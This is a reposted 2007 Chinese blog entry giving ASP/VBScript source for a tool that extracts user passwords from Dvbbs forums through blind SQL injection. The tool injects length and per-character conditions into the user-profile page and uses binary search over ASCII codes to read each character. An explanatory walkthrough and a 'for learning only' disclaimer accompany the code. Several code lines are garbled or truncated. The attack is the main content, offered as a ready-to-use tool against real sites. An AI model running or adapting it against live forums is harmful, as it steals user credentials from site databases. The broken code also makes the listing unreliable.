動網論壇密碼暴力破解程式程式碼 (轉)

amyz發表於2007-10-17
動網論壇密碼暴力破解程式程式碼 (轉)[@more@]

response.buffer=false
'為防止陷入死迴圈,初始化一些最大重試值
Dim MaxPaen,MaxPasc
MaxPassLen=20 '密碼最大長度
MaxPassAsc=20

'==== 字元轉換
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(Mi(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
' 下面是取網頁內容 ==========
Function GetUrl(Url)
set oSend=create(".HTTP")
Code = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
'下面是判斷返回頁面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
 ChkPage=true '頁面返回成功
 exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
 ChkPage=false '頁面出錯
 exit function
end if
 ChkPage=false '關鍵字資訊不對或者是頁面未連線
 response.write("關鍵字資訊不對或者是頁面未連線")
 response.end
End Function

'開始
'Dim url,username,pass,SucKey,

Dim PassLenUrl
Dim PassLen
Dim ChkPassLen

If request("begin")<>"" then
 response.("PassLen")=0
 url=request("url")
 username=request("username")
 password=request("password")
 SucKey=request("SucKey")
 ErrKey=request("ErrKey")
response.write("第一步,破碼長度
")

PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
 PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1"
 response.write("當前測試密碼位數為“" & PassLen & "”,請稍等......
")
 ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
 If ChkPassLen Then
 response.write("成功!!!密碼位數已經測試出來了,開始測試具體位數
")
 exit do
 Else
 response.write("不行,繼續下一位測試!
")
 End If
 If PassLen > MaxPassLen then
 response.write( "密碼位數未能測試出,請確認是否有此或重新調整密碼長度範圍")
 response.end
 exit do
 End If
 PassLen = PassLen + 1
L
response.write ("已經測試出密碼長度為" & PassLen & ",開始測試具體密碼值

")
'迴圈每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
'Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""

For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "開始破解第" & i & "位密碼
"
'用二分法取asc碼範圍
 count=1
 suc=false
 Do while not suc
 Asctemp1=Asctemp
 if (Asc2-Asc1) mod 2 = 1 then
 Asctemp=(Asc2-Asc1-1)/2
 else
 Asctemp=(Asc2-Asc1)/2
 end if

 response.write "劃定密碼範圍為:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "
"
 PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
 response.write "劃定密碼範圍為:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "
"
 ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
 if Asc1 = 33 and Asc2 = 126 and not ChkPass then
 response.write "密碼不在所設定ASC碼範圍內"
 response.end
 exit do
 end if
 if ChkPass then
 Asc10=Asc1
 Asc20=Asc2
 response.write("密碼在該範圍內
")
 if Asc1=Asc2 then Suc = true
 Asc2 = Asc1 + Asctemp
 else
 Asc1 = Asc20-Asctemp1
 Asc2 = Asc20
 response.write("不在該範圍內,改試另一範圍
")
 end if
 count=count+1
 if count>MaxPassAsc then
 response.write("死迴圈了!")
 response.end
 exit do
 end if
 Loop
Ascstr=Ascstr & chr(Asc1)
 response.write"
當前破解進度(“"&Ascstr&"”)



"
Next


response.write"" & username & "的密碼已經破解成功!!!!!!!(" & Ascstr & ")

"
else
%>


動網論壇暴力破解程式


網站地址:http://*******/bbs/viewuser.asp?username=">(要破解的地址,注:地址中"="後的資訊不要)

密碼欄位:(在中儲存密碼的欄位名)

出錯頁關鍵字:(沒有找到該使用者時返回的頁面關鍵字,比如“錯誤資訊”)

成功頁關鍵字:(成功查詢到該使用者資料時的關鍵字,比如使用者名稱)

使用者名稱稱:(要破解密碼的使用者名稱)





首先申明該程式只是用來學習之用,請勿用在用途!!!!

該程式基於“星之海洋”的《ASP動網論壇分析》
例如要破一個名叫abc的使用者密碼,首先察看abc的使用者資料,給出的連線是,在dispuser.asp中,讀取引數的語句是: username=trim(request(“name”)),資料庫的查詢的語句是: =” * from [user] where username=’”&username&”’”,看得出來, abc就是直接被作為了dispuer的一個引數username。另外,如果該使用者不存在,程式就會給出提示,既然如此,我們就再寫入個查詢密碼的條件,在where username=abc後面加上and userpassword=”******”,可以先用len試出使用者的密碼位數,地址就這麼寫,這麼看可能不好理解,放到sql語句裡其實就是這副樣子:sql=“select * from [User] where username='abc' and len(UserPassword)=5 and '1'='1'”,現在明白點了吧,%20是空格,abc後面的單引號和’1’=’1裡的單引號都是為了和sql語句相匹配。奇怪,該使用者不存在,喔?那就說明符合這個條件的使用者沒有,繼續,把5換成6,7,8,依此類推,只要能顯示出使用者資料了,就說明密碼位數猜對了。接下來要做的就是試每位的密碼是多少了,繼續要用到VBS,可以用left或right或mid函式,,如果猜對了就給出使用者資料,猜錯了就給出該使用者不存在的提示,那麼我們就可以直接在程式裡面用來獲取指定網址的內容,然後根據提供的關鍵字來判斷是否猜對了,先用前面說的len方法從1開始窮舉知道搞定為止,然後在針對每一位密碼用mid函式集合鍵盤的asc碼的範圍(33到126),在程式裡面用二分法來逐步縮小範圍,幾個迴圈就搞定了,呵呵,經實驗發現效果顯著,基本一分鐘就可以破解出來一個:)!(注意,只適用了部分動網論壇版本)

有任何問題可以和作者聯絡:mailto:junminliu@msn.com">寶玉 ddf3mailto:ddf3@263.net">ddf3>

主頁:>

 


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-977264/,如需轉載,請註明出處,否則將追究法律責任。

相關文章